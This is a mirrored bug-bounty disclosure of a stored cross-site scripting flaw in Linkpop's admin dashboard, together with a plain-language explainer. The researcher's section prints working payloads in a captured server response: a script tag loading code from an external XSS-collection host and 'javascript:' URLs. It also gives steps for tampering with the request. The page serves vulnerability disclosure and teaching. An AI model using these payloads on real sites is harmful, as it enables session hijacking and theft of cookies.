Skip to content
XSS Disclosed report Beginner

Stored XSS at https://linkpop.com

A stored cross-site scripting vulnerability existed in the Linkpop admin dashboard because user-supplied URLs were not sanitised and client-side protections could be bypassed. An attacker could inject JavaScript into a page's title, bio, or link URL, which would then execute when a victim visited the public linkpop page.

nagli Follow

Originally disclosed on HackerOne

Medium 4.2 View original
  • Triaged in 2 hours
  • Fixed in 14 days
  • Paid in 9 days
  • Disclosed after 15 days

Summary:

There is Stored XSS vulnerability at

https://linkpop.com/dashboard/admin that can later be delivered through unique linkpop link.

This is due to lack of sanitizaiton and relying on client side protections when inserting urls to our applications.

This is the client side protection error:

Screen_Shot_2022-01-05_at_21.08.31.png
Screen_Shot_2022-01-05_at_21.08.31.png From the original on HackerOne

Easily bypassed just by tampering with burp

HTTP/1.1 200 OK
Cookies

{"data":{"pageUpdate":{"page":{"id":"12617","slug":"testnaglinagli","title":"\"\u003e\u003ch1\u003enagli\u003c/h1\u003e\"\u003e\u003cscript sr","bio":"\"\u003e\u003cScript src=https://naglinagli.xss.ht\u003e\u003c/script\u003e${7*7}{{7*7}}","media":{"id":"36361","signedBlobId":"eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ21PIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--84ffd51a70b79ab6faaec2d6c3e7cca38f907f30","url":"https://cdn.shopify.com/b/shopify-linkpop-prod/q85t5nppud8qfjo1dvg0ql3p01oe.png","__typename":"Media"},"themeSettings":{"backgroundColor":"#F0EFEC","fontColor":"#000","primaryFont":"Roboto","secondaryFont":""},"__typename":"Page"},"errors":null,"__typename":"PageUpdatePayload"},"linksCreate":{"page":{"id":"12617","links":[{"id":"254183","title":"\"\u003e\u003ch1\u003etesT\u003c/h1\u003e${7*7}{{7*7}}","url":"javascript:alert(document.domain)","media":{"id":"36362","signedBlobId":"eyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ3FPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--54c67556358d19ddba24dd01f4130d1b2641b16f","url":"https://cdn.shopify.com/b/shopify-linkpop-prod/u7qrfhm16ma74bf3tvwn2lun4vn1.png","__typename":"Media"},"__typename":"ExternalLink"}],"socialMediaAccounts":[{"id":"30879","handle":"javascript:alert(1)","network":"facebook","__typename":"SocialMediaAccount"},{"id":"30878","handle":"javascript:alert(1)","network":"shop","__typename":"SocialMediaAccount"}],"__typename":"Page"},"errors":null,"__typename":"LinksCreatePayload"}}}
Screen_Shot_2022-01-05_at_21.12.07.png
Screen_Shot_2022-01-05_at_21.12.07.png From the original on HackerOne
Screen_Recording_2022-01-05_at_21.08.54.mov

I reached this service of yours through some manual navigations on shopify.com and shopifycloud.com, I can see that it's also whitelisted on your OAuth redirects.

Steps To Reproduce:

[add details for how we can reproduce the issue]

  1. Navigate to www.linkpop.com
  2. Login to your account
  3. Create new template
  4. Capture the request, change the "url" param to javascript:alert(document.domain)
  5. Click on "Copy Link"
  6. Now you have shareable link - click on the first image -> https://linkpop.com/testnaglinagli

The XSS worked for me on FireFox.

Best Regards

@nagli

Impact

Cookies Exfiltration CORS Bypass SOAP Bypass Executing Javascript on the victims behalf.

Attachments

Screen_Shot_2022-01-05_at_21.13.29.png
Screen_Shot_2022-01-05_at_21.13.29.png From the original on HackerOne

The original report as published on HackerOne, by nagli. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute JavaScript in a victim's browser, potentially leading to cookie exfiltration, CORS bypass, and actions performed on the victim's behalf; the report notes the XSS worked on Firefox.

What the attacker needed

An account; victim clicks a link; Firefox browser

How it was found

  1. Navigate to www.linkpop.com
  2. Log in to your account
  3. Create a new template
  4. Capture the request and change the url parameter to a JavaScript payload
  5. Click on Copy Link
  6. Open the shareable link and click the first image to trigger the script

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website lets you type something and later shows it to other people, it must clean that text so it cannot run code. Here, the site trusted the browser to block bad input, but an attacker could change the request to slip in JavaScript. That script then ran in the browser of anyone who opened the shared page, letting the attacker act as the victim.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by nagli

View all

33 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.